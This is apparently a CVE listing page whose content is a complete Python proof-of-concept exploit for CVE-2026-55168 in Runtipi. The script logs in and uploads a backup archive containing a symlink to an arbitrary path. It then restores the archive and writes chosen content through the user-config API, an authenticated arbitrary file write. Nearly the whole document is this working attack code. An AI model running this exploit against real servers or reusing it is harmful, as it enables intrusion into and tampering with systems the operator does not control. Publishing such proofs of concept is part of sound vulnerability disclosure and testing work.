5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
import argparse
import gzip
import io
import json
import re
import sys
import tarfile
import time
import urllib.error
import urllib.request
from http.cookiejar import CookieJar


def build_tar_gz_bytes(target_path: str) -> bytes:
    raw = io.BytesIO()
    with tarfile.open(fileobj=raw, mode="w") as tar:
        for directory in ("app-data", "app", "user-config"):
            info = tarfile.TarInfo(f"{directory}/")
            info.type = tarfile.DIRTYPE
            info.mode = 0o755
            tar.addfile(info)

        symlink = tarfile.TarInfo("user-config/app.env")
        symlink.type = tarfile.SYMTYPE
        symlink.linkname = target_path
        symlink.mode = 0o777
        tar.addfile(symlink)

    return gzip.compress(raw.getvalue())


def make_opener() -> urllib.request.OpenerDirector:
    cookie_jar = CookieJar()
    return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))


def request(opener, method: str, url: str, *, data=None, headers=None):
    req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
    return opener.open(req, timeout=30)


def multipart_body(field_name: str, filename: str, payload: bytes, content_type: str):
    boundary = "----cve-2026-55168-boundary"
    parts = [
        f"--{boundary}\r\n".encode(),
        f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'.encode(),
        f"Content-Type: {content_type}\r\n\r\n".encode(),
        payload,
        b"\r\n",
        f"--{boundary}--\r\n".encode(),
    ]
    body = b"".join(parts)
    return body, boundary


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-55168 Runtipi authenticated arbitrary file write PoC"
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3001")
    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--app-urn", default="demoapp3:_user")
    parser.add_argument("--target-path", default="/data/state/proof.txt")
    parser.add_argument("--write-content", default="PWNED_FROM_USERCFG_WRITE")
    parser.add_argument("--output", default="")
    args = parser.parse_args()

    opener = make_opener()
    common_headers = {
        "Origin": args.base_url,
        "Referer": f"{args.base_url}/",
        "X-Forwarded-Host": re.sub(r"^https?://", "", args.base_url),
        "X-Forwarded-Proto": "https" if args.base_url.startswith("https://") else "http",
    }

    login_body = json.dumps({"username": args.username, "password": args.password}).encode()
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/auth/login",
        data=login_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        if resp.status != 201:
            raise RuntimeError(f"Login failed: HTTP {resp.status}")

    archive_name = f"usercfg-symlink-{int(time.time())}.tar.gz"
    archive_bytes = build_tar_gz_bytes(args.target_path)
    if args.output:
        with open(args.output, "wb") as handle:
            handle.write(archive_bytes)

    upload_body, boundary = multipart_body("file", archive_name, archive_bytes, "application/gzip")
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/backups/{args.app_urn}/upload",
        data=upload_body,
        headers={**common_headers, "Content-Type": f"multipart/form-data; boundary={boundary}"},
    ) as resp:
        if resp.status != 201:
            raise RuntimeError(f"Upload failed: HTTP {resp.status} {resp.read().decode(errors='replace')}")

    restore_body = json.dumps({"filename": archive_name}).encode()
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/backups/{args.app_urn}/restore",
        data=restore_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        restore_response = resp.read().decode(errors="replace")
        if resp.status != 201:
            raise RuntimeError(f"Restore failed: HTTP {resp.status} {restore_response}")

    time.sleep(8)

    update_body = json.dumps({"dockerCompose": "", "appEnv": args.write_content}).encode()
    with request(
        opener,
        "PUT",
        f"{args.base_url}/api/user-config/{args.app_urn}",
        data=update_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        if resp.status != 200:
            raise RuntimeError(
                f"User-config update failed: HTTP {resp.status} {resp.read().decode(errors='replace')}"
            )

    result = {
        "base_url": args.base_url,
        "app_urn": args.app_urn,
        "archive_name": archive_name,
        "target_path": args.target_path,
        "write_content": args.write_content,
        "status": "ok",
    }
    print(json.dumps(result, indent=2))


if __name__ == "__main__":
    try:
        main()
    except urllib.error.HTTPError as exc:
        body = exc.read().decode(errors="replace")
        print(f"HTTPError: {exc.code} {body}", file=sys.stderr)
        sys.exit(1)
    except Exception as exc:
        print(f"Error: {exc}", file=sys.stderr)
        sys.exit(1)